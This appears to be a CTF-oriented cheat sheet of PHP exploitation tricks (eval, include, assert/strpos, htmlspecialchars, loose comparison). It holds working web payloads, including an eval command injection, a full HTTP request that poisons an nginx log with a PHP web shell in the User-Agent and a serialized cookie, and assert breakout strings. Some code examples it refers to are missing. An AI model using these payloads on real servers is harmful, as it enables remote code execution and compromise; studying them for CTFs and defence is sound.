PHP Tricks

Blogs

addslashes()

This function escapes single & double quotes.

# Assuming that the variable is passed to eval
${system($_GET[1])}&1=whoami;

References: https://www.programmersought.com/article/30723400042/

include()

Only generates a warning, i.e., E_WARNING, and continue the execution of the script.

Case: From LFI to log poisoning

  • Burpsuite request example:

# Cookie Serialization exploit
# O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}

GET /?c=cat+/flag_qlvM8 HTTP/1.1
Host: 178.128.163.152:30522
User-Agent: Mozilla/5.0 <?php system($_GET['c']); ?> Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

References: https://www.hackingarticles.in/apache-log-poisoning-through-lfi/

htmlentities() & htmlspecialchars

It doesn't encode single quotes by default

Reference: https://github.com/X-Vector/XSS_Bypass/blob/master/htmlspecialchars%20-%20htmlentities/README.md

Loose Comparison

  • ===

  • ==

  • Bruteforce

Assuming the following code

Eval()

Always pay attention to the behaviour and aim to fix the syntax in order to acheive code execution. Taking the code below as an example, we can acheive code execution by payloads such like:

  • ".system("ls")."

The challenge here is to break out of the code syntax and keep a clean syntax. There are many ways to do it:

  • By adding dummy code

  • By using comment

usort()

When ordering information, developers can use two methods:

  • order by in a SQL request;

  • usort in PHP code. The function usort is often used with the function create_function to dynamically generate the "sorting" function, based on user-controlled information. If the web application lacks potent filtering and validation, this can lead to code execution.

die()

die function in PHP can run any system command before quitting the flow of the program

strpos()

Many Application uses strpos() to check for malicious inputs in the file parameter. strpos() finds the position of the first occurrence of a substring in a string, it returns False if the given substring is not found in the given string.

This kind of filter can be found in many CTF’s or even in real life to protect the Application from LFI Attacks. This filter checks the file variable for any .. pattern and if it's found then the program terminates.

We can use the same technique used above but here we have one extra function (strpos) that we need to bypass in order to run our command directly to the assert function.

' and die(system(ls))or ' , this payload can be used to break out of strpos() and interact

with the assert() function directly, and again we can run any arbitrary command on the Server. (Doesn't work from php 8)

preg_match

Take the following code snippet as an example:

  • Bypass

Bypasses

Filtered Spaces

Taking below Code Challenge as an example

We have to inject a payload that doesn't contain spaces and blacklisted functions, So that the payloads would be:

time()

You can guess the specified file or whatever by converting the response time and converting it to epoch time stamp using https://www.epochconverter.com/

PHP Filter Chain

.htaccess

Shell

proc_open web shell

extract()

Last updated